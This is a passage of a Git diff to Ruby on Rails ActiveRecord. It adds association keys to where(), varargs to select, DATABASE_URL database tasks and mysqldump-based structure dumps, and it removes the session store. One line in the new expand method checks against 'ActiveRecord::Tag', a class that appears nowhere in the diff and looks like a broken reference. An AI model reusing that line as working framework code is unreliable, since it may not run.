- def self.build_from_hash(engine, attributes, default_table)
- attributes.map do |column, value|
+ def self.build_from_hash(klass, attributes, default_table)
+ queries = []
+
+ attributes.each do |column, value|
table = default_table
if value.is_a?(Hash)
- table = Arel::Table.new(column, engine)
- value.map { |k,v| build(table[k.to_sym], v) }
+ table = Arel::Table.new(column, default_table.engine)
+ association = klass.reflect_on_association(column.to_sym)
+
+ if value.empty?
+ queries.concat ['1 = 2']
+ else
+ value.each do |k, v|
+ queries.concat expand(association && association.klass, table, k, v)
+ end
+ end
else
column = column.to_s
if column.include?('.')
table_name, column = column.split('.', 2)
- table = Arel::Table.new(table_name, engine)
+ table = Arel::Table.new(table_name, default_table.engine)
end
- build(table[column.to_sym], value)
+ queries.concat expand(klass, table, column, value)
+ end
+ end
+
+ queries
+ end
+
+ def self.expand(klass, table, column, value)
+ queries = []
+
+ # Find the foreign key when using queries such as:
+ # Post.where(:author => author)
+ #
+ # For polymorphic relationships, find the foreign key and type:
+ # PriceEstimate.where(:estimate_of => treasure)
+ if klass && value.class < ActiveRecord::Tag && reflection = klass.reflect_on_association(column.to_sym)
+ if reflection.polymorphic?
+ queries << build(table[reflection.foreign_type], value.class.base_class)
end
- end.flatten
+
+ column = reflection.foreign_key
+ end
+
+ queries << build(table[column.to_sym], value)
+ queries
end
def self.references(attributes)
diff --git a/activerecord/lib/active_record/relation/query_methods.rb b/activerecord/lib/active_record/relation/query_methods.rb
index 8e6254f918..3c59bd8a68 100644
--- a/activerecord/lib/active_record/relation/query_methods.rb
+++ b/activerecord/lib/active_record/relation/query_methods.rb
@@ -136,8 +136,8 @@ module ActiveRecord
# Second: Modifies the SELECT statement for the query so that only certain
# fields are retrieved:
#
- # >> Model.select(:field)
- # => [#<Model field:value>]
+ # Model.select(:field)
+ # # => [#<Model field:value>]
#
# Although in the above example it looks as though this method returns an
# array, it actually returns a relation object and can have other query
@@ -145,25 +145,26 @@ module ActiveRecord
#
# The argument to the method can also be an array of fields.
#
- # >> Model.select([:field, :other_field, :and_one_more])
- # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
+ # Model.select(:field, :other_field, :and_one_more)
+ # # => [#<Model field: "value", other_field: "value", and_one_more: "value">]
#
# Accessing attributes of an object that do not have fields retrieved by a select
# will throw <tt>ActiveModel::MissingAttributeError</tt>:
#
- # >> Model.select(:field).first.other_field
- # => ActiveModel::MissingAttributeError: missing attribute: other_field
- def select(value = Proc.new)
+ # Model.select(:field).first.other_field
+ # # => ActiveModel::MissingAttributeError: missing attribute: other_field
+ def select(*fields)
if block_given?
- to_a.select { |*block_args| value.call(*block_args) }
+ to_a.select { |*block_args| yield(*block_args) }
else
- spawn.select!(value)
+ raise ArgumentError, 'Call this with at least one field' if fields.empty?
+ spawn.select!(*fields)
end
end
# Like #select, but modifies relation in place.
- def select!(value)
- self.select_values += Array.wrap(value)
+ def select!(*fields)
+ self.select_values += fields.flatten
self
end
@@ -339,6 +340,24 @@ module ActiveRecord
# User.where({ created_at: (Time.now.midnight - 1.day)..Time.now.midnight })
# # SELECT * FROM users WHERE (created_at BETWEEN '2012-06-09 07:00:00.000000' AND '2012-06-10 07:00:00.000000')
#
+ # In the case of a belongs_to relationship, an association key can be used
+ # to specify the model if an ActiveRecord object is used as the value.
+ #
+ # author = Author.find(1)
+ #
+ # # The following queries will be equivalent:
+ # Post.where(:author => author)
+ # Post.where(:author_id => author)
+ #
+ # This also works with polymorphic belongs_to relationships:
+ #
+ # treasure = Treasure.create(:name => 'gold coins')
+ # treasure.price_estimates << PriceEstimate.create(:price => 125)
+ #
+ # # The following queries will be equivalent:
+ # PriceEstimate.where(:estimate_of => treasure)
+ # PriceEstimate.where(:estimate_of_type => 'Treasure', :estimate_of_id => treasure)
+ #
# === Joins
#
# If the relation is the result of a join, you may create a condition which uses any of the
@@ -689,7 +708,7 @@ module ActiveRecord
[@klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
when Hash
attributes = @klass.send(:expand_hash_conditions_for_aggregates, opts)
- PredicateBuilder.build_from_hash(table.engine, attributes, table)
+ PredicateBuilder.build_from_hash(klass, attributes, table)
else
[opts]
end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
index fd276ccf5d..425b9b41d8 100644
--- a/activerecord/lib/active_record/result.rb
+++ b/activerecord/lib/active_record/result.rb
@@ -10,11 +10,11 @@ module ActiveRecord
attr_reader :columns, :rows, :column_types
- def initialize(columns, rows)
+ def initialize(columns, rows, column_types = {})
@columns = columns
@rows = rows
@hash_rows = nil
- @column_types = {}
+ @column_types = column_types
end
def each
@@ -53,9 +53,15 @@ module ActiveRecord
private
def hash_rows
- @hash_rows ||= @rows.map { |row|
- Hash[@columns.zip(row)]
- }
+ @hash_rows ||=
+ begin
+ # We freeze the strings to prevent them getting duped when
+ # used as keys in ActiveRecord::Model's @attributes hash
+ columns = @columns.map { |c| c.dup.freeze }
+ @rows.map { |row|
+ Hash[columns.zip(row)]
+ }
+ end
end
end
end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
index 690409d62c..42b4cff4b8 100644
--- a/activerecord/lib/active_record/sanitization.rb
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -1,4 +1,3 @@
-
module ActiveRecord
module Sanitization
extend ActiveSupport::Concern
@@ -89,8 +88,8 @@ module ActiveRecord
def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
attrs = expand_hash_conditions_for_aggregates(attrs)
- table = Arel::Table.new(table_name).alias(default_table_name)
- PredicateBuilder.build_from_hash(arel_engine, attrs, table).map { |b|
+ table = Arel::Table.new(table_name, arel_engine).alias(default_table_name)
+ PredicateBuilder.build_from_hash(self.class, attrs, table).map { |b|
connection.visitor.accept b
}.join(' AND ')
end
diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb
index a540bc0a3b..eaa4aa7086 100644
--- a/activerecord/lib/active_record/schema.rb
+++ b/activerecord/lib/active_record/schema.rb
@@ -11,16 +11,16 @@ module ActiveRecord
#
# ActiveRecord::Schema.define do
# create_table :authors do |t|
- # t.string :name, :null => false
+ # t.string :name, null: false
# end
#
# add_index :authors, :name, :unique
#
# create_table :posts do |t|
- # t.integer :author_id, :null => false
+ # t.integer :author_id, null: false
# t.string :subject
# t.text :body
- # t.boolean :private, :default => false
+ # t.boolean :private, default: false
# end
#
# add_index :posts, :author_id
@@ -50,7 +50,7 @@ module ActiveRecord
# The +info+ hash is optional, and if given is used to define metadata
# about the current schema (currently, only the schema's version):
#
- # ActiveRecord::Schema.define(:version => 20380119000001) do
+ # ActiveRecord::Schema.define(version: 20380119000001) do
# ...
# end
def self.define(info={}, &block)
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index a25a8d79bd..36bde44e7c 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -38,7 +38,7 @@ module ActiveRecord
end
def header(stream)
- define_params = @version ? ":version => #{@version}" : ""
+ define_params = @version ? "version: #{@version}" : ""
if stream.respond_to?(:external_encoding) && stream.external_encoding
stream.puts "# encoding: #{stream.external_encoding.name}"
@@ -95,39 +95,23 @@ HEADER
tbl.print " create_table #{remove_prefix_and_suffix(table).inspect}"
if columns.detect { |c| c.name == pk }
if pk != 'id'
- tbl.print %Q(, :primary_key => "#{pk}")
+ tbl.print %Q(, primary_key: "#{pk}")
end
else
- tbl.print ", :id => false"
+ tbl.print ", id: false"
end
- tbl.print ", :force => true"
+ tbl.print ", force: true"
tbl.puts " do |t|"
# then dump all non-primary key columns
column_specs = columns.map do |column|
raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" if @types[column.type].nil?
next if column.name == pk
- spec = {}
- spec[:name] = column.name.inspect
-
- # AR has an optimization which handles zero-scale decimals as integers. This
- # code ensures that the dumper still dumps the column as a decimal.
- spec[:type] = if column.type == :integer && /^(numeric|decimal)/ =~ column.sql_type
- 'decimal'
- else
- column.type.to_s
- end
- spec[:limit] = column.limit.inspect if column.limit != @types[column.type][:limit] && spec[:type] != 'decimal'
- spec[:precision] = column.precision.inspect if column.precision
- spec[:scale] = column.scale.inspect if column.scale
- spec[:null] = 'false' unless column.null
- spec[:default] = default_string(column.default) if column.has_default?
- (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k.inspect} => ")}
- spec
+ @connection.column_spec(column, @types)
end.compact
# find all migration keys used in this table
- keys = [:name, :limit, :precision, :scale, :default, :null]
+ keys = @connection.migration_keys
# figure out the lengths for each column based on above keys
lengths = keys.map { |key|
@@ -170,34 +154,23 @@ HEADER
stream
end
- def default_string(value)
- case value
- when BigDecimal
- value.to_s
- when Date, DateTime, Time
- "'#{value.to_s(:db)}'"
- else
- value.inspect
- end
- end
-
def indexes(table, stream)
if (indexes = @connection.indexes(table)).any?
add_index_statements = indexes.map do |index|
statement_parts = [
('add_index ' + remove_prefix_and_suffix(index.table).inspect),
index.columns.inspect,
- (':name => ' + index.name.inspect),
+ ('name: ' + index.name.inspect),
]
- statement_parts << ':unique => true' if index.unique
+ statement_parts << 'unique: true' if index.unique
index_lengths = (index.lengths || []).compact
- statement_parts << (':length => ' + Hash[index.columns.zip(index.lengths)].inspect) unless index_lengths.empty?
+ statement_parts << ('length: ' + Hash[index.columns.zip(index.lengths)].inspect) unless index_lengths.empty?
index_orders = (index.orders || {})
- statement_parts << (':order => ' + index.orders.inspect) unless index_orders.empty?
+ statement_parts << ('order: ' + index.orders.inspect) unless index_orders.empty?
- statement_parts << (':where => ' + index.where.inspect) if index.where
+ statement_parts << ('where: ' + index.where.inspect) if index.where
' ' + statement_parts.join(', ')
end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
index ca22154c84..9830abe7d8 100644
--- a/activerecord/lib/active_record/schema_migration.rb
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -4,7 +4,6 @@ require 'active_record/base'
module ActiveRecord
class SchemaMigration < ActiveRecord::Base
- attr_accessible :version
def self.table_name
"#{Base.table_name_prefix}schema_migrations#{Base.table_name_suffix}"
diff --git a/activerecord/lib/active_record/session_store.rb b/activerecord/lib/active_record/session_store.rb
deleted file mode 100644
index 58e1dab508..0000000000
--- a/activerecord/lib/active_record/session_store.rb
+++ /dev/null
@@ -1,365 +0,0 @@
-require 'action_dispatch/middleware/session/abstract_store'
-
-module ActiveRecord
- # = Active Record Session Store
- #
- # A session store backed by an Active Record class. A default class is
- # provided, but any object duck-typing to an Active Record Session class
- # with text +session_id+ and +data+ attributes is sufficient.
- #
- # The default assumes a +sessions+ tables with columns:
- # +id+ (numeric primary key),
- # +session_id+ (string, usually varchar; maximum length is 255), and
- # +data+ (text or longtext; careful if your session data exceeds 65KB).
- #
- # The +session_id+ column should always be indexed for speedy lookups.
- # Session data is marshaled to the +data+ column in Base64 format.
- # If the data you write is larger than the column's size limit,
- # ActionController::SessionOverflowError will be raised.
- #
- # You may configure the table name, primary key, and data column.
- # For example, at the end of <tt>config/application.rb</tt>:
- #
- # ActiveRecord::SessionStore::Session.table_name = 'legacy_session_table'
- # ActiveRecord::SessionStore::Session.primary_key = 'session_id'
- # ActiveRecord::SessionStore::Session.data_column_name = 'legacy_session_data'
- #
- # Note that setting the primary key to the +session_id+ frees you from
- # having a separate +id+ column if you don't want it. However, you must
- # set <tt>session.model.id = session.session_id</tt> by hand! A before filter
- # on ApplicationController is a good place.
- #
- # Since the default class is a simple Active Record, you get timestamps
- # for free if you add +created_at+ and +updated_at+ datetime columns to
- # the +sessions+ table, making periodic session expiration a snap.
- #
- # You may provide your own session class implementation, whether a
- # feature-packed Active Record or a bare-metal high-performance SQL
- # store, by setting
- #
- # ActiveRecord::SessionStore.session_class = MySessionClass
- #
- # You must implement these methods:
- #
- # self.find_by_session_id(session_id)
- # initialize(hash_of_session_id_and_data, options_hash = {})
- # attr_reader :session_id
- # attr_accessor :data
- # save
- # destroy
- #
- # The example SqlBypass class is a generic SQL session store. You may
- # use it as a basis for high-performance database-specific stores.
- class SessionStore < ActionDispatch::Session::AbstractStore
- module ClassMethods # :nodoc:
- def marshal(data)
- ::Base64.encode64(Marshal.dump(data)) if data
- end
-
- def unmarshal(data)
- Marshal.load(::Base64.decode64(data)) if data
- end
-
- def drop_table!
- connection.schema_cache.clear_table_cache!(table_name)
- connection.drop_table table_name
- end
-
- def create_table!
- connection.schema_cache.clear_table_cache!(table_name)
- connection.create_table(table_name) do |t|
- t.string session_id_column, :limit => 255
- t.text data_column_name
- end
- connection.add_index table_name, session_id_column, :unique => true
- end
- end
-
- # The default Active Record class.
- class Session < ActiveRecord::Base
- extend ClassMethods
-
- ##
- # :singleton-method:
- # Customizable data column name. Defaults to 'data'.
- cattr_accessor :data_column_name
- self.data_column_name = 'data'
-
- attr_accessible :session_id, :data, :marshaled_data
-
- before_save :marshal_data!
- before_save :raise_on_session_data_overflow!
-
- class << self
- def data_column_size_limit
- @data_column_size_limit ||= columns_hash[data_column_name].limit
- end
-
- # Hook to set up sessid compatibility.
- def find_by_session_id(session_id)
- setup_sessid_compatibility!
- find_by_session_id(session_id)
- end
-
- private
- def session_id_column
- 'session_id'
- end
-
- # Compatibility with tables using sessid instead of session_id.
- def setup_sessid_compatibility!
- # Reset column info since it may be stale.
- reset_column_information
- if columns_hash['sessid']
- def self.find_by_session_id(*args)
- find_by_sessid(*args)
- end
-
- define_method(:session_id) { sessid }
- define_method(:session_id=) { |session_id| self.sessid = session_id }
- else
- class << self; remove_possible_method :find_by_session_id; end
-
- def self.find_by_session_id(session_id)
- where(session_id: session_id).first
- end
- end
- end
- end
-
- def initialize(attributes = nil, options = {})
- @data = nil
- super
- end
-
- # Lazy-unmarshal session state.
- def data
- @data ||= self.class.unmarshal(read_attribute(@@data_column_name)) || {}
- end
-
- attr_writer :data
-
- # Has the session been loaded yet?
- def loaded?
- @data
- end
-
- private
- def marshal_data!
- return false unless loaded?
- write_attribute(@@data_column_name, self.class.marshal(data))
- end
-
- # Ensures that the data about to be stored in the database is not
- # larger than the data storage column. Raises
- # ActionController::SessionOverflowError.
- def raise_on_session_data_overflow!
- return false unless loaded?
- limit = self.class.data_column_size_limit
- if limit and read_attribute(@@data_column_name).size > limit
- raise ActionController::SessionOverflowError
- end
- end
- end
-
- # A barebones session store which duck-types with the default session
- # store but bypasses Active Record and issues SQL directly. This is
- # an example session model class meant as a basis for your own classes.
- #
- # The database connection, table name, and session id and data columns
- # are configurable class attributes. Marshaling and unmarshaling
- # are implemented as class methods that you may override. By default,
- # marshaling data is
- #
- # ::Base64.encode64(Marshal.dump(data))
- #
- # and unmarshaling data is
- #
- # Marshal.load(::Base64.decode64(data))
- #
- # This marshaling behavior is intended to store the widest range of
- # binary session data in a +text+ column. For higher performance,
- # store in a +blob+ column instead and forgo the Base64 encoding.
- class SqlBypass
- extend ClassMethods
-
- ##
- # :singleton-method:
- # The table name defaults to 'sessions'.
- cattr_accessor :table_name
- @@table_name = 'sessions'
-
- ##
- # :singleton-method:
- # The session id field defaults to 'session_id'.
- cattr_accessor :session_id_column
- @@session_id_column = 'session_id'
-
- ##
- # :singleton-method:
- # The data field defaults to 'data'.
- cattr_accessor :data_column
- @@data_column = 'data'
-
- class << self
- alias :data_column_name :data_column
-
- # Use the ActiveRecord::Base.connection by default.
- attr_writer :connection
-
- # Use the ActiveRecord::Base.connection_pool by default.
- attr_writer :connection_pool
-
- def connection
- @connection ||= ActiveRecord::Base.connection
- end
-
- def connection_pool
- @connection_pool ||= ActiveRecord::Base.connection_pool
- end
-
- # Look up a session by id and unmarshal its data if found.
- def find_by_session_id(session_id)
- if record = connection.select_one("SELECT #{connection.quote_column_name(data_column)} AS data FROM #{@@table_name} WHERE #{connection.quote_column_name(@@session_id_column)}=#{connection.quote(session_id.to_s)}")
- new(:session_id => session_id, :marshaled_data => record['data'])
- end
- end
- end
-
- delegate :connection, :connection=, :connection_pool, :connection_pool=, :to => self
-
- attr_reader :session_id, :new_record
- alias :new_record? :new_record
-
- attr_writer :data
-
- # Look for normal and marshaled data, self.find_by_session_id's way of
- # telling us to postpone unmarshaling until the data is requested.
- # We need to handle a normal data attribute in case of a new record.
- def initialize(attributes)
- @session_id = attributes[:session_id]
- @data = attributes[:data]
- @marshaled_data = attributes[:marshaled_data]
- @new_record = @marshaled_data.nil?
- end
-
- # Returns true if the record is persisted, i.e. it's not a new record
- def persisted?
- !@new_record
- end
-
- # Lazy-unmarshal session state.
- def data
- unless @data
- if @marshaled_data
- @data, @marshaled_data = self.class.unmarshal(@marshaled_data) || {}, nil
- else
- @data = {}
- end
- end
- @data
- end
-
- def loaded?
- @data
- end
-
- def save
- return false unless loaded?
- marshaled_data = self.class.marshal(data)
- connect = connection
-
- if @new_record
- @new_record = false
- connect.update <<-end_sql, 'Create session'
- INSERT INTO #{table_name} (
- #{connect.quote_column_name(session_id_column)},
- #{connect.quote_column_name(data_column)} )
- VALUES (
- #{connect.quote(session_id)},
- #{connect.quote(marshaled_data)} )
- end_sql
- else
- connect.update <<-end_sql, 'Update session'
- UPDATE #{table_name}
- SET #{connect.quote_column_name(data_column)}=#{connect.quote(marshaled_data)}
- WHERE #{connect.quote_column_name(session_id_column)}=#{connect.quote(session_id)}
- end_sql
- end
- end
-
- def destroy
- return if @new_record
-
- connect = connection
- connect.delete <<-end_sql, 'Destroy session'
- DELETE FROM #{table_name}
- WHERE #{connect.quote_column_name(session_id_column)}=#{connect.quote(session_id.to_s)}
- end_sql
- end
- end
-
- # The class used for session storage. Defaults to
- # ActiveRecord::SessionStore::Session
- cattr_accessor :session_class
- self.session_class = Session
-
- SESSION_RECORD_KEY = 'rack.session.record'
- ENV_SESSION_OPTIONS_KEY = Rack::Session::Abstract::ENV_SESSION_OPTIONS_KEY
-
- private
- def get_session(env, sid)
- Base.silence do
- unless sid and session = @@session_class.find_by_session_id(sid)
- # If the sid was nil or if there is no pre-existing session under the sid,
- # force the generation of a new sid and associate a new session associated with the new sid
- sid = generate_sid
- session = @@session_class.new(:session_id => sid, :data => {})
- end
- env[SESSION_RECORD_KEY] = session
- [sid, session.data]
- end
- end
-
- def set_session(env, sid, session_data, options)
- Base.silence do
- record = get_session_model(env, sid)
- record.data = session_data
- return false unless record.save
-
- session_data = record.data
- if session_data && session_data.respond_to?(:each_value)
- session_data.each_value do |obj|
- obj.clear_association_cache if obj.respond_to?(:clear_association_cache)
- end
- end
- end
-
- sid
- end
-
- def destroy_session(env, session_id, options)
- if sid = current_session_id(env)
- Base.silence do
- get_session_model(env, sid).destroy
- env[SESSION_RECORD_KEY] = nil
- end
- end
-
- generate_sid unless options[:drop]
- end
-
- def get_session_model(env, sid)
- if env[ENV_SESSION_OPTIONS_KEY][:id].nil?
- env[SESSION_RECORD_KEY] = find_session(sid)
- else
- env[SESSION_RECORD_KEY] ||= find_session(sid)
- end
- end
-
- def find_session(id)
- @@session_class.find_by_session_id(id) ||
- @@session_class.new(:session_id => id, :data => {})
- end
- end
-end
diff --git a/activerecord/lib/active_record/store.rb b/activerecord/lib/active_record/store.rb
index 5151f349b7..df7f58c81f 100644
--- a/activerecord/lib/active_record/store.rb
+++ b/activerecord/lib/active_record/store.rb
@@ -37,11 +37,33 @@ module ActiveRecord
# The stored attribute names can be retrieved using +stored_attributes+.
#
# User.stored_attributes[:settings] # [:color, :homepage]
+ #
+ # == Overwriting default accessors
+ #
+ # All stored values are automatically available through accessors on the Active Record
+ # object, but sometimes you want to specialize this behavior. This can be done by overwriting
+ # the default accessors (using the same name as the attribute) and calling
+ # <tt>read_store_attribute(store_attribute_name, attr_name)</tt> and
+ # <tt>write_store_attribute(store_attribute_name, attr_name, value)</tt> to actually
+ # change things.
+ #
+ # class Song < ActiveRecord::Base
+ # # Uses a stored integer to hold the volume adjustment of the song
+ # store :settings, accessors: [:volume_adjustment]
+ #
+ # def volume_adjustment=(decibels)
+ # write_store_attribute(:settings, :volume_adjustment, decibels.to_i)
+ # end
+ #
+ # def volume_adjustment
+ # read_store_attribute(:settings, :volume_adjustment).to_i
+ # end
+ # end
module Store
extend ActiveSupport::Concern
included do
- class_attribute :stored_attributes, instance_writer: false
+ class_attribute :stored_attributes, instance_accessor: false
self.stored_attributes = {}
end
@@ -55,22 +77,33 @@ module ActiveRecord
keys = keys.flatten
keys.each do |key|
define_method("#{key}=") do |value|
- attribute = initialize_store_attribute(store_attribute)
- if value != attribute[key]
- attribute[key] = value
- send :"#{store_attribute}_will_change!"
- end
+ write_store_attribute(store_attribute, key, value)
end
define_method(key) do
- initialize_store_attribute(store_attribute)[key]
+ read_store_attribute(store_attribute, key)
end
end
- self.stored_attributes[store_attribute] = keys
+ self.stored_attributes[store_attribute] ||= []
+ self.stored_attributes[store_attribute] |= keys
end
end
+ protected
+ def read_store_attribute(store_attribute, key)
+ attribute = initialize_store_attribute(store_attribute)
+ attribute[key]
+ end
+
+ def write_store_attribute(store_attribute, key, value)
+ attribute = initialize_store_attribute(store_attribute)
+ if value != attribute[key]
+ send :"#{store_attribute}_will_change!"
+ attribute[key] = value
+ end
+ end
+
private
def initialize_store_attribute(store_attribute)
attribute = send(store_attribute)
@@ -81,7 +114,7 @@ module ActiveRecord
attribute
end
- class IndifferentCoder
+ class IndifferentCoder # :nodoc:
def initialize(coder_or_class_name)
@coder =
if coder_or_class_name.respond_to?(:load) && coder_or_class_name.respond_to?(:dump)
diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb
index b41cc68b6a..fda51b3d76 100644
--- a/activerecord/lib/active_record/tasks/database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/database_tasks.rb
@@ -3,6 +3,8 @@ module ActiveRecord
module DatabaseTasks # :nodoc:
extend self
+ attr_writer :current_config
+
LOCAL_HOSTS = ['127.0.0.1', 'localhost']
def register_task(pattern, task)
@@ -14,6 +16,19 @@ module ActiveRecord
register_task(/postgresql/, ActiveRecord::Tasks::PostgreSQLDatabaseTasks)
register_task(/sqlite/, ActiveRecord::Tasks::SQLiteDatabaseTasks)
+ def current_config(options = {})
+ options.reverse_merge! :env => Rails.env
+ if options.has_key?(:config)
+ @current_config = options[:config]
+ else
+ @current_config ||= if ENV['DATABASE_URL']
+ database_url_config
+ else
+ ActiveRecord::Base.configurations[options[:env]]
+ end
+ end
+ end
+
def create(*arguments)
configuration = arguments.first
class_for_adapter(configuration['adapter']).new(*arguments).create
@@ -33,6 +48,10 @@ module ActiveRecord
ActiveRecord::Base.establish_connection environment
end
+ def create_database_url
+ create database_url_config
+ end
+
def drop(*arguments)
configuration = arguments.first
class_for_adapter(configuration['adapter']).new(*arguments).drop
@@ -51,6 +70,10 @@ module ActiveRecord
}
end
+ def drop_database_url
+ drop database_url_config
+ end
+
def charset_current(environment = Rails.env)
charset ActiveRecord::Base.configurations[environment]
end
@@ -87,6 +110,11 @@ module ActiveRecord
private
+ def database_url_config
+ @database_url_config ||=
+ ConnectionAdapters::ConnectionSpecification::Resolver.new(ENV["DATABASE_URL"], {}).spec.config.stringify_keys
+ end
+
def class_for_adapter(adapter)
key = @tasks.keys.detect { |pattern| adapter[pattern] }
@tasks[key]
diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
index bf62dfd5b5..3d27c97254 100644
--- a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
+++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb
@@ -27,7 +27,7 @@ module ActiveRecord
rescue error_class => error
$stderr.puts error.error
$stderr.puts "Couldn't create database for #{configuration.inspect}, #{creation_options.inspect}"
- $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration['charset']
+ $stderr.puts "(If you set the charset manually, make sure you have a matching collation)" if configuration['encoding']
end
def drop
@@ -49,16 +49,18 @@ module ActiveRecord
end
def structure_dump(filename)
- establish_connection configuration
- File.open(filename, "w:utf-8") { |f| f << ActiveRecord::Base.connection.structure_dump }
+ args = prepare_command_options('mysqldump')
+ args.concat(["--result-file", "#{filename}"])
+ args.concat(["--no-data"])
+ args.concat(["#{configuration['database']}"])
+ Kernel.system(*args)
end
def structure_load(filename)
- establish_connection(configuration)
- connection.execute('SET foreign_key_checks = 0')
- IO.read(filename).split("\n\n").each do |table|
- connection.execute(table)
- end
+ args = prepare_command_options('mysql')
+ args.concat(['--execute', %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}])
+ args.concat(["--database", "#{configuration['database']}"])
+ Kernel.system(*args)
end
private
@@ -72,10 +74,16 @@ module ActiveRecord
end
def creation_options
- {
- charset: (configuration['charset'] || DEFAULT_CHARSET),
- collation: (configuration['collation'] || DEFAULT_COLLATION)
- }
+ Hash.new.tap do |options|
+ options[:charset] = configuration['encoding'] if configuration.include? 'encoding'
+ options[:collation] = configuration['collation'] if configuration.include? 'collation'
+
+ # Set default charset only when collation isn't set.
+ options[:charset] ||= DEFAULT_CHARSET unless options[:collation]
+
+ # Set default collation only when charset is also default.
+ options[:collation] ||= DEFAULT_COLLATION if options[:charset] == DEFAULT_CHARSET
+ end
end
def error_class
@@ -109,6 +117,18 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION;
$stdout.print "Please provide the root password for your mysql installation\n>"
$stdin.gets.strip
end
+
+ def prepare_command_options(command)
+ args = [command]
+ args.concat(['--user', configuration['username']]) if configuration['username']
+ args << "--password=#{configuration['password']}" if configuration['password']
+ args.concat(['--default-character-set', configuration['encoding']]) if configuration['encoding']
+ configuration.slice('host', 'port', 'socket').each do |k, v|
+ args.concat([ "--#{k}", v ]) if v
+ end
+ args
+ end
+
end
end
end
diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb
index c32e0d6bf8..bf95ccb298 100644
--- a/activerecord/lib/active_record/timestamp.rb
+++ b/activerecord/lib/active_record/timestamp.rb
@@ -40,13 +40,13 @@ module ActiveRecord
config_attribute :record_timestamps, instance_writer: true
end
- def initialize_dup(other)
+ def initialize_dup(other) # :nodoc:
clear_timestamp_attributes
end
private
- def create #:nodoc:
+ def create
if self.record_timestamps
current_time = current_time_from_proper_timezone
@@ -60,7 +60,7 @@ module ActiveRecord
super
end
- def update(*args) #:nodoc:
+ def update(*args)
if should_record_timestamps?
current_time = current_time_from_proper_timezone
@@ -89,19 +89,19 @@ module ActiveRecord
timestamp_attributes_for_create_in_model + timestamp_attributes_for_update_in_model
end
- def timestamp_attributes_for_update #:nodoc:
+ def timestamp_attributes_for_update
[:updated_at, :updated_on]
end
- def timestamp_attributes_for_create #:nodoc:
+ def timestamp_attributes_for_create
[:created_at, :created_on]
end
- def all_timestamp_attributes #:nodoc:
+ def all_timestamp_attributes
timestamp_attributes_for_create + timestamp_attributes_for_update
end
- def current_time_from_proper_timezone #:nodoc:
+ def current_time_from_proper_timezone
self.class.default_timezone == :utc ? Time.now.utc : Time.now
end
diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb
index 5c3399e2aa..934393b4e7 100644
--- a/activerecord/lib/active_record/transactions.rb
+++ b/activerecord/lib/active_record/transactions.rb
@@ -165,7 +165,7 @@ module ActiveRecord
# writing, the only database that we're aware of that supports true nested
# transactions, is MS-SQL. Because of this, Active Record emulates nested
# transactions by using savepoints on MySQL and PostgreSQL. See
- # http://dev.mysql.com/doc/refman/5.0/en/savepoint.html
+ # http://dev.mysql.com/doc/refman/5.6/en/savepoint.html
# for more information about savepoints.
#
# === Callbacks
@@ -208,6 +208,21 @@ module ActiveRecord
connection.transaction(options, &block)
end
+ # This callback is called after a record has been created, updated, or destroyed.
+ #
+ # You can specify that the callback should only be fired by a certain action with
+ # the +:on+ option:
+ #
+ # after_commit :do_foo, :on => :create
+ # after_commit :do_bar, :on => :update
+ # after_commit :do_baz, :on => :destroy
+ #
+ # Also, to have the callback fired on create and update, but not on destroy:
+ #
+ # after_commit :do_zoo, :if => :persisted?
+ #
+ # Note that transactional fixtures do not play well with this feature. Please
+ # use the +test_after_commit+ gem to have these hooks fired in tests.
def after_commit(*args, &block)
options = args.last
if options.is_a?(Hash) && options[:on]
@@ -217,6 +232,9 @@ module ActiveRecord
set_callback(:commit, :after, *args, &block)
end
+ # This callback is called after a create, update, or destroy are rolled back.
+ #
+ # Please check the documentation of +after_commit+ for options.
def after_rollback(*args, &block)
options = args.last
if options.is_a?(Hash) && options[:on]
@@ -293,12 +311,10 @@ module ActiveRecord
begin
status = yield
rescue ActiveRecord::Rollback
- if defined?(@_start_transaction_state)
- @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
- end
+ @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
status = nil
end
-
+
raise ActiveRecord::Rollback unless status
end
status
@@ -308,7 +324,6 @@ module ActiveRecord
# Save the new record state and id of a record so it can be restored later if a transaction fails.
def remember_transaction_record_state #:nodoc:
- @_start_transaction_state ||= {}
@_start_transaction_state[:id] = id if has_attribute?(self.class.primary_key)
@_start_transaction_state[:new_record] = @new_record
@_start_transaction_state[:destroyed] = @destroyed
@@ -317,18 +332,16 @@ module ActiveRecord
# Clear the new record state and id of a record.
def clear_transaction_record_state #:nodoc:
- if defined?(@_start_transaction_state)
- @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
- remove_instance_variable(:@_start_transaction_state) if @_start_transaction_state[:level] < 1
- end
+ @_start_transaction_state[:level] = (@_start_transaction_state[:level] || 0) - 1
+ @_start_transaction_state.clear if @_start_transaction_state[:level] < 1
end
# Restore the new record state and id of a record that was previously saved by a call to save_record_state.
